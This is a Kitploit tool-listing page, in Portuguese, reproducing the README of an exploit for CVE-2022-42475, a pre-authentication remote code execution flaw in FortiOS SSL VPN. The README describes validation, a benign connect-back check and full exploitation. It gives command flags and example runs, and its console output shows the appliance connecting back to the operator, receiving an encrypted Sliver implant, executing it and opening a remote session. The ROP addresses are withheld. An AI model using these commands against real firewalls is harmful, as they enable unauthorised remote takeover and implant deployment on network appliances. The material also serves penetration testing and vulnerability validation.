Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42475-POC — Exploit para CVE-2022-42475, um RCE pré-autenticação no FortiOS SSL VPN. Suporta validação, verificação benigna e exploração completa com shellcode de conexão reversa e stager binário criptografado para acesso remoto. | Kitploit
Ferramentas/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Análise de VulnerabilidadesExploraçãoShellcodeSegurança WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Exploit para CVE-2022-42475, um RCE pré-autenticação no FortiOS SSL VPN. Suporta validação, verificação benigna e exploração completa com shellcode de conexão reversa e stager binário criptografado para acesso remoto.

Ver Repositório
10há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42475

Antecedentes

Este é o exploit para o post do blog aqui: https://bishopfox.com/blog/exploit-cve-2022-42475

Versão Redigida

Esta versão do exploit não funcionará sem que você, o hacker, forneça os endereços de memória necessários para gadgets ROP, etc. O trabalho para determinar esses dados é confidencial e proprietário da Bishop Fox e eu não (posso) publicá-lo junto com este exploit. Confio que você entende!

Modos de operação

  • Apenas validar, sem exploit. Determina se é vulnerável. Sem payload, sem shellcode.
  • Exploit, mas apenas verificar. Executa shellcode benigno de 'ping' de conexão reversa para verificar se o alvo é explorável.
  • Exploit com estagiador binário de conexão reversa. O shellcode conecta de volta ao exploit, baixa um arquivo binário criptografado fornecido pelo operador (normalmente https://gitub.com/BishopFox/Sliver), descriptografa o binário e chama execve(binary_file).

Nota: Atualmente, o modo 'apenas validar' funciona em todas as versões conhecidas do FortiOS. No entanto, os exploits funcionam apenas contra FortiOS 6.0.4 em hardware 100D. Não trabalho mais na BF e, portanto, não posso publicar o exploit expandido que suporta algo como 18 mil alvos.

Requisitos

  • PyCrypto
  • pycryptodome
pip3 install PyCrypto
pip3 install pycryptodome

Apenas validar

Isso não tentará explorar o bug, mas sim acioná-lo como uma falha (o daemon SSL VPN remoto reinicia automática e imediatamente). A falha é detectada heuristicamente e relatada ao operador.

Execute-o usando a flag de validação -v:

$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mas validar (recurso disponível apenas para FortiOS 6.0.4 em appliances 100D no momento)

Isso acionará o bug, implantará uma cadeia ROP e saltará para o shellcode. O shellcode é benigno e funciona da seguinte forma:

  • O exploit se conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • O shellcode conecta de volta ao IP:porta do operador
  • O shellcode envia um único byte "hello" para o exploit: 0xbf
  • O exploit entrega um pequeno payload de teste criptografado ao shellcode (a chave AES é aleatória a cada execução)
  • O shellcode descriptografa o payload e o salva em /tmp/x no appliance FortiGate
  • O shellcode envia outro único byte 0xbf para o exploit se a descriptografia do payload foi bem-sucedida
  • O exploit lê o byte e confirma a execução de código.

Flags:

-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-c           modo apenas conexão reversa
-H e -P      IP:porta do operador (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Um exemplo onde selecionamos a versão do software 6.0.4 e o modelo de appliance 100D:

┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Se você omitir o -m para escolher um modelo de hardware, o exploit tentará por força bruta todos os alvos de hardware para a versão de software especificada.

Guerra termonuclear global

  • O operador especifica a localização de um binário de implante Sliver (baseado em Linux)
  • O exploit se conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • O shellcode conecta de volta ao IP:porta do operador
  • O shellcode envia um único byte "hello" para o exploit: 0xbf
  • O exploit criptografa o binário Sliver e o envia para o shellcode
  • O shellcode descriptografa o binário e o salva em /tmp/x
  • O shellcode envia um byte "sucesso" 0xbf para o exploit
  • O exploit lê o byte e confirma a execução de código
  • O shellcode chama execve("/tmp/x")
  • ???
  • Lucro!

Flags:

-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-f nome_do_arquivo  /caminho/para/binário/para/execve/no/alvo
-H e -P      IP:porta do operador para conexão reversa (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Sliver:

carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

E de volta ao Sliver:

[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls
Baixar ferramenta